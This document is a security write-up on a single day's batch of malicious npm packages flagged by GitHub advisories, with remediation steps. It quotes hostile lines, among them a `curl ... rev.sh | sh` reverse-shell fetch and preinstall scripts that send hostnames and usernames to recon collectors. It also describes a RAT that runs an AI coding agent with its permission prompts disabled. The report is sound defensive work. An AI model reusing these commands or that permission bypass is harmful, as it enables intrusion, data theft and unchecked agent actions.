GitHub Advisory npm CWE-506 sweep - 33+ package 2026-08-07 batch (`remote-claude-daemon` full-desktop RAT via WebSocket relay + baileys-clone WhatsApp bot cluster + `@cats-cdf/*` OAST recon pair + `internallib_v514` internal LAN reverse-shell + `wormgpt-cli` LLM-branded RAT + `@united-airlines-org/atmos-design-system` dep-confusion + `@ks-video/kwai-player-web` telemetry beacon + `@avi892nash/aegis-grid-runner` Juspay-leaked internal RCE tool + `@junyoung-kim/reins` PTY-reverse-shell with systemd persistence + `noviembrenacional.com` WordPress-CSRF nuke pair + long tail)

What happened

On 2026-08-07, the GitHub Advisory Database published 33+ new npm CWE-506 (Embedded Malicious Code) advisories in one of the largest single-day npm sweeps of the month. The batch decomposes into ten distinct clusters of varying sophistication, with remote-claude-daemon (a Claude-Code-flavored full-desktop RAT) and internallib_v514 (a red-team reverse-shell to an internal RFC1918 IP) standing out as the most operationally-interesting drops.

Cluster A - remote-claude-daemon Claude Code full-desktop RAT (1 package, 20 versions, 2026-08-07)

| Package | Versions | Notes | |---|---|---| | remote-claude-daemon | 0.3.0, 0.3.4..0.3.9, 0.4.2, 0.4.6, 0.4.7, 0.5.0, 0.5.2, 0.5.4, 0.5.5, 0.5.7, 0.5.9, 0.6.0..0.6.2, 0.6.6 | Claude binary with permissions disabled, WebSocket relay, screen + microphone capture, input injection |

Behaviour chain per GHSA-4qch-7gcj-fhvm: connects to a hardcoded WebSocket relay endpoint with "remote execution capabilities"; executes the local claude binary with --dangerously-skip-permissions (or equivalent) based on commands from the C2; provides "full interactive control over the installer's desktop" through input injection; captures screen frames and optional microphone audio streamed to the relay operator.

The claude binary with permission prompts disabled vector is the critical detail - Claude Code is designed to prompt the user before performing any filesystem write, shell command, git commit, or push. A malicious daemon that runs Claude in permission-disabled mode can drive any Claude-mediated action (file edits, git pushes, cloud API calls, curl | bash chains) without a single UI confirmation. The screen + microphone capture is a secondary observation channel; the desktop-input-injection is a secondary remote-control channel.

Twenty versions across the 0.3.x to 0.6.x range indicates the operator has been actively iterating on this package for a while - probably picking up more versions as detection catches up and forcing re-publish under nominally-legitimate-looking bumps.

Cluster B - baileys-clone WhatsApp bot / spam cluster (4+ packages, 2026-08-07)

| Package | Versions | Notes | |---|---|---| | @prototypevip/baileys | <= 0.0.3 | Owner-identifier gintoki, broadcasts Arabic "you are no longer authorized to use this bot" message on missing identifier | | diezyclutch-baileys | all | Sibling clone under different scope | | ynastore-baileys | all | Sibling clone under different scope | | alipclutch-baileys | all (from 2026-08-06 batch) | Sibling clone | | diezyyasha-baileys | all (from 2026-08-06 batch) | Sibling clone |

All five are clones of the legitimate @whiskeysockets/baileys WhatsApp Web reverse-engineering library with a malicious hook added. On install the package registers a handler for incoming WhatsApp messages that runs base64-obfuscated code checking for a hardcoded owner identifier (gintoki in @prototypevip/baileys, other identifiers in the sibling clones). If the identifier is absent, the payload abuses the installer's authenticated WhatsApp session to broadcast messages to the installer's contact list.

Associated actor references: MAL-2026-13480 (OpenSSF), amazon-inspector hash f4b0068015e90b8e47dd9b67c66ed1d0b0cc4c1ebccd985f08efd31837d27ce8.

Cluster C - internallib_v514 internal-LAN reverse-shell (1 package, 2026-08-07)

| Package | Versions | Notes | |---|---|---| | internallib_v514 | 1.0.0 | curl http://10.0.70.90/rev.sh \| sh - hardcoded internal RFC1918 C2 |

Direct continuation of the internallib_v<NNN> sequential dep-confusion enumeration campaign (see npm-2026-08-03-ghsa-malware-sweep Cluster E for v524+v568, npm-2026-08-04-ghsa-malware-sweep Cluster A for v688). The v514 variant escalates from generic CWE-506 boilerplate to a concrete visible payload: require("child_process").execSync("curl http://10.0.70.90/rev.sh | sh") on the exported command function.

The hardcoded C2 IP 10.0.70.90 is an RFC1918 internal-only address - only reachable from inside a target network. This unmistakably marks the campaign as red-team / authorised-pentest tooling targeting a known internal network rather than external mass-yield malware. The operator is running numeric-suffix dep-confusion probes against a target org whose internal internallib_* packages are known to them, hoping the target's build hosts misconfigure .npmrc scope precedence and resolve the public malicious version. Once resolved on an internal build host, the reverse-shell to 10.0.70.90 (which the operator has staged inside the network) grants an interactive foothold.

Campaign shape so far:

| Variant | Published | GHSA | |---|---|---| | internallib_v514 | 2026-08-07 | GHSA-676x-3cvx-w3j5 | | internallib_v524 | 2026-08-03 | GHSA-2wgh-22xm-wp5f | | internallib_v568 | 2026-08-03 | GHSA-f4rq-x75f-gx73 | | internallib_v688 | 2026-08-04 | GHSA-jvmj-rg3h-c654 |

Cluster D - @cats-cdf/* OAST recon dep-confusion pair (2 packages, 2026-08-07)

| Package | Versions | Notes | |---|---|---| | @cats-cdf/browser-metrics-meter | 2.0.0, 3.1.1 | preinstall: whoami + hostname + public IP → OAST collector | | @cats-cdf/authentication | 2.17.1, 3.1.1 | preinstall: same recon → kwphewvexhjbtfduscqybx6q7c862eh0g.oast.fun |

Both run preinstall scripts that exfiltrate the installer's username, hostname, and public IP via HTTP to a *.oast.fun collector (Burp Collaborator / OAST out-of-band interaction service). The @cats-cdf scope is a *dep-confusion probe against orgs that publish `@cats-cdf/ internal packages** - the OAST endpoint tells the operator immediately when a target org's CI resolves the public malicious version. Standard active-engagement pentest tradecraft; the cdf` initials probably identify a specific consulting firm running an authorised engagement.

Cluster E - wormgpt-cli LLM-branded RAT (1 package, 9 versions, 2026-08-07)

| Package | Versions | Notes | |---|---|---| | wormgpt-cli | 1.0.0..1.0.8 | bash + PowerShell RCE, clipboard-theft via PowerShell, HTTP POST exfil |

Tagged with the wormgpt name to attract users searching for the "WormGPT" jailbroken-LLM tool that circulated in underground channels in 2023–2024. Contains remote command execution via bash + PowerShell child processes, clipboard data theft using PowerShell execution, and HTTP/HTTPS POST exfil of hostname + system identifiers to C2. Standard multi-platform RAT with LLM-branded marketing.

Cluster F - @united-airlines-org/atmos-design-system dep-confusion (1 package, 2026-08-07)

| Package | Versions | Notes | |---|---|---| | @united-airlines-org/atmos-design-system | >= 40.0.0 through 41.0.0 | preinstall: base64(uname -n)+base64(ls)+base64(whoami) → bxss.boll-sec.de |

Scoped-package name explicitly probes United Airlines internal design-system namespace. Version-jump to 40.0.0+ is a classic dep-confusion trick to outrank any real internal version (which is likely still in the 1.x or 2.x range). Exfil endpoint bxss.boll-sec.de is a Boll Security / BSS attacker-controlled recon collector.

Cluster G - @avi892nash/aegis-grid-runner Juspay-leaked internal RCE tool (1 package, 2026-08-07)

| Package | Versions | Notes | |---|---|---| | @avi892nash/aegis-grid-runner | <= 0.3.3 | HTTP server on port 7719, child_process.spawn(meta.cmd, {shell: true}) on incoming POST |

Advisory confirms this was internal Juspay infrastructure inadvertently published to the public npm registry - embedded references to internal git repositories and internal LAN addresses in example configs. The package opens an HTTP server on GRID_RUNNER_PORT (default 7719), accepts base64-encoded job metadata, extracts a tarball, and calls child_process.spawn on meta.cmd in a shell - any network-reachable peer can execute arbitrary shell commands. Optional token auth means the operator can pair without credentials if the default auth is left disabled.

Cluster H - @ks-video/kwai-player-web install-time telemetry beacon (1 package, 2026-08-07)

| Package | Versions | Notes | |---|---|---| | @ks-video/kwai-player-web | <= 9.1.2 | postinstall: hostname + username + cwd + net-interfaces + Node version + env-var names → http://telemetry.debugnotyja.com/api/v1/install |

Plausibly-real name for a Kwai video-player web SDK, published under @ks-video scope. Postinstall recon beacon to attacker-controlled telemetry endpoint (no verified connection to any real Kwai publisher).

Cluster I - @junyoung-kim/reins PTY reverse-shell with systemd persistence (1 package, 2026-08-07)

| Package | Versions | Notes | |---|---|---| | @junyoung-kim/reins | 0.1.6, 0.1.7 | Local PTY, WebSocket relay, systemd auto-start service |

Spawns a local pseudo-terminal, connects to a hardcoded WebSocket relay, writes relay bytes directly into the PTY for interactive command execution. Systemd auto-start service for boot persistence is the differentiator - most npm RATs are ephemeral to the current process; this one survives reboots.

Cluster J - xxdxax / xdaxx targeted WordPress account-nuke pair (2 packages, 2026-08-07)

| Package | Versions | Notes | |---|---|---| | xxdxax | 1.0.0, 1.0.1 | Browser-side, activates on noviembrenacional.com pages, deletes WordPress users | | xdaxx | <= 1.0.1 | Same target, changes admin email + password reset for full takeover |

Targeted personal attack rather than mass supply-chain drop. The payloads only fire when JavaScript loaded from these packages executes on a page whose URL contains noviembrenacional.com. On match they use CSRF against WordPress + BuddyPress endpoints to delete other users' accounts, then change the administrator email and trigger a password-reset chain for full site takeover. Progress beacons to canarytokens.com URLs. Attacker email nyxalor_25@proton.me present in the source. npm here is being used as JavaScript delivery infrastructure for a targeted operation against one specific WordPress site, not as a general supply-chain payload.

Cluster K - long tail (2026-08-07)

Other 2026-08-07 npm CWE-506 advisories with boilerplate-only prose or too limited behaviour to warrant a cluster of their own: merge-grid-stats, weight2loss, cdf-tag-commander-helper, vite-svg-parse, stretchshop, streak-map-cache, supersig, trimprompt, wos-library-ui, vite-vue-path-map, squeez, zyr-agent, vite-plugin-cleaner, lib-frontsga, dpdgroup-css, rdfxvela, rdfxvela-build, velabuild, tailwindcss-hide-scrollbar (Aug 7 variant). Also cewe-npm-cops, @wbnr/frontend-shared, ach-detail, connect-contingency, gpt-terminal-cli, express-chai, dbk-ui-forms, merchantweb-lang-cookie-reset, poc-ch4rlygr, commonweb-balance. All apply the standard CWE-506 "fully compromised" remediation.

Registry state

All packages yanked / security-replaced from npm during the 2026-08-07 takedown. Private mirrors (Verdaccio, Artifactory, Nexus) that cached tarballs BEFORE the takedown WILL keep serving the original versions.

Related tracked activity

• internallib_v514 = direct continuation of the sequential dep-confusion enumeration campaign catalogued in npm-2026-08-03-ghsa-malware-sweep Cluster E and npm-2026-08-04-ghsa-malware-sweep Cluster A.
• Baileys-clone WhatsApp bot cluster began 2026-08-06 with diezyyasha-baileys and alipclutch-baileys (see npm-2026-08-06-ghsa-malware-sweep) - four sibling clones dropped 2026-08-07 confirm a coordinated operator running the pattern under multiple scopes.
• No threatActor field set - most advisories carry OpenSSF MAL-2026-* identifiers or amazon-inspector detection credit only.

Affected packages (32)

Impact

• Cluster A - remote-claude-daemon Claude Code full-desktop RAT (1 package, 20 versions, 2026-08-07): the package connects to a hardcoded WebSocket relay endpoint and grants "full interactive control over the installer's desktop" via input injection, plus streams screen frames and optional microphone audio back to the relay operator. Executes the local Claude binary with permission prompts disabled, so any Claude-mediated action (file edits, shell commands, git pushes) executes without user confirmation. Any host that installed any of the 20 versions should be considered fully-remoted by the C2 operator
• Cluster B - baileys-clone WhatsApp bot / spam cluster (4+ packages, 2026-08-07): @prototypevip/baileys@<=0.0.3, diezyclutch-baileys, ynastore-baileys, alipclutch-baileys and diezyyasha-baileys (from 2026-08-06). All register listeners on incoming WhatsApp messages, execute obfuscated payloads, and abuse the installer's authenticated WhatsApp session to broadcast messages. Any developer who installed any of these on a machine with a paired WhatsApp Web session had their WhatsApp identity used to broadcast to their contacts
• Cluster C - internallib_v514 internal-LAN reverse-shell (1 package, 1.0.0, 2026-08-07): direct continuation of the internallib_v<NNN> sequential dep-confusion enumeration campaign (v524 + v568 on 2026-08-03, v688 on 2026-08-04). The v514 payload calls require("child_process").execSync("curl http://10.0.70.90/rev.sh | sh") - hardcoded internal RFC1918 IP 10.0.70.90 as C2, unmistakably red-team / internal-network-only, targeting the same internal-tooling namespace as prior campaign drops
• *Cluster D - `@cats-cdf/ OAST recon dep-confusion pair** (2 packages, 2026-08-07): @cats-cdf/browser-metrics-meter@2.0.0+3.1.1 and @cats-cdf/authentication@2.17.1+3.1.1. Both run preinstall scripts that exfiltrate whoami+hostname+public IP via HTTP GET to .oast.fun` collector - Burp Collaborator / OAST out-of-band interaction service, i.e. live active pentest reconnaissance against orgs that publish an internal `@cats-cdf/` scope
• Cluster E - wormgpt-cli LLM-branded RAT (1 package, 9 versions 1.0.0..1.0.8, 2026-08-07): remote command execution via bash + PowerShell child processes, clipboard-data theft via PowerShell, HTTP POST exfil of hostname + system IDs. Name-tagged as wormgpt-cli to appeal to users searching for the "WormGPT" jailbroken-LLM tool
• Cluster F - @united-airlines-org/atmos-design-system dep-confusion (1 package, >= 40.0.0, 2026-08-07): preinstall exfiltrates base64(uname -n)+base64(ls)+base64(whoami) to bxss.boll-sec.de - scoped-package name specifically probes United Airlines internal design-system namespace
• Cluster G - @avi892nash/aegis-grid-runner leaked-internal-Juspay RCE tool (1 package, <= 0.3.3, 2026-08-07): opens an HTTP server on GRID_RUNNER_PORT (default 7719), accepts base64-encoded job metadata, child_process.spawn(meta.cmd, {shell: true}) - i.e. any-network-peer shell command execution. Advisory confirms this was internal Juspay infrastructure inadvertently published
• Cluster H - @ks-video/kwai-player-web install-time telemetry beacon (1 package, <= 9.1.2, 2026-08-07): postinstall harvests hostname, username, cwd, network interfaces, Node.js version, env-var names, transmits via HTTP to telemetry.debugnotyja.com/api/v1/install
• Cluster I - @junyoung-kim/reins PTY reverse-shell with systemd persistence (1 package, 0.1.6+0.1.7, 2026-08-07): spawns a local pseudo-terminal, connects to hardcoded WebSocket endpoint, writes relay bytes directly into the PTY (interactive command execution), and installs itself as a systemd auto-start service for boot persistence
• Cluster J - xxdxax / xdaxx targeted WordPress account-nuke pair (2 packages, 2026-08-07): browser-side scripts triggered when loaded from any page whose URL contains noviembrenacional.com. Delete WordPress/BuddyPress users, change admin email + trigger password reset for full site takeover, beacon progress to canarytokens.com. Attacker email nyxalor_25@proton.me in artifacts
• Cluster K - rdfxvela + rdfxvela-build + velabuild + long tail (2026-08-07): boilerplate CWE-506 drops with no per-package behaviour prose. Standard fully-compromised remediation applies

What to do

1. 1Grep every lockfile (package-lock.json, yarn.lock, pnpm-lock.yaml) for the full 2026-08-07 package list below - especially remote-claude-daemon, the four *-baileys variants, internallib_v514, @cats-cdf/browser-metrics-meter, @cats-cdf/authentication, wormgpt-cli, @united-airlines-org/atmos-design-system, @avi892nash/aegis-grid-runner, @junyoung-kim/reins, @ks-video/kwai-player-web, xxdxax, xdaxx
2. 2For remote-claude-daemon matches (critical): treat the host as fully-compromised at the interactive-desktop level. The Claude binary was run with permission prompts disabled, so audit git history, shell history, and cloud API calls for the last 30 days for any action the C2 operator may have driven via Claude. Rotate all credentials that lived on the desktop plus every account whose session was open in the browser during the exposure window. Re-image the host
3. 3For baileys-clone matches: revoke WhatsApp Web sessions from WhatsApp Settings → Linked Devices → Log Out From All Devices. Notify contacts to disregard any spam broadcast from your number in the exposure window
4. 4For internallib_v514 matches: same remediation as the earlier internallib_v524/v568/v688 drops - grep every lockfile for internallib_v*, configure .npmrc scope-to-registry mapping to block the entire internallib_v* glob, and treat any host that resolved any variant as needing full credential rotation from an isolated machine. The hardcoded C2 IP 10.0.70.90 is only reachable from inside a target network, so a match implies the operator had accurate knowledge of the target's internal addressing
5. 5For @cats-cdf/browser-metrics-meter / @cats-cdf/authentication matches: preinstall executed - hostname + username + public IP already sent to the pentester. Treat as active-engagement scope disclosure and escalate to your security team if you did not authorise the engagement
6. 6For @avi892nash/aegis-grid-runner matches: check for a listening socket on port 7719 (GRID_RUNNER_PORT default), kill the process, block the port at the host firewall. Any network peer could execute shell commands during the exposure window
7. 7For xxdxax / xdaxx matches: the payload only fires when the JavaScript loads on a page whose URL contains noviembrenacional.com - the risk to your own infrastructure is limited to whether any workflow bundled the package into a browser-served asset
8. 8For all npm installs in CI, run with --ignore-scripts as defense-in-depth to prevent preinstall/postinstall payloads from executing
9. 9Verify none of the 2026-08-07 packages still resolves via your private mirror

References

• GHSA-4qch-7gcj-fhvm - remote-claude-daemon malware advisory (Claude full-desktop RAT, WebSocket relay, screen+mic)

  github.com
  GitHub
• GHSA-rj44-3fvq-rvp4 - @prototypevip/baileys WhatsApp session-abuse malware advisory

  github.com
  GitHub
• GHSA-xqrx-4hpr-8cx7 - diezyclutch-baileys sibling malware advisory

  github.com
  GitHub
• GHSA-wv6v-7p37-mx4j - ynastore-baileys sibling malware advisory

  github.com
  GitHub
• GHSA-676x-3cvx-w3j5 - internallib_v514 malware advisory (curl http://10.0.70.90/rev.sh | sh)

  github.com
  GitHub
• GHSA-c4hf-jrgf-gw89 - @cats-cdf/browser-metrics-meter OAST recon malware advisory

  github.com
  GitHub
• GHSA-cgq2-qp6c-q4rm - @cats-cdf/authentication OAST recon malware advisory

  github.com
  GitHub
• GHSA-fw33-jr6r-h62p - wormgpt-cli malware advisory (bash+PowerShell RAT, clipboard theft)

  github.com
  GitHub
• GHSA-9gxh-qrf3-h8h2 - @united-airlines-org/atmos-design-system dep-confusion malware advisory

  github.com
  GitHub
• GHSA-w7r2-hmcm-cv9x - @avi892nash/aegis-grid-runner malware advisory (Juspay internal tool, RCE via port 7719)

  github.com
  GitHub
• GHSA-px7p-gw96-h3c9 - @ks-video/kwai-player-web malware advisory (telemetry beacon)

  github.com
  GitHub
• GHSA-785q-v8jw-hfj2 - @junyoung-kim/reins malware advisory (PTY reverse-shell, systemd persistence)

  github.com
  GitHub
• GHSA-vmq9-f9v2-mpqm - xxdxax WordPress-account-nuke malware advisory (noviembrenacional.com targeted)

  github.com
  GitHub
• GHSA-qhqw-3g9p-hj8v - xdaxx WordPress-account-takeover malware advisory (noviembrenacional.com targeted)

  github.com
  GitHub
• GitHub Advisory Database - recent npm malware advisories

  github.com
  GitHub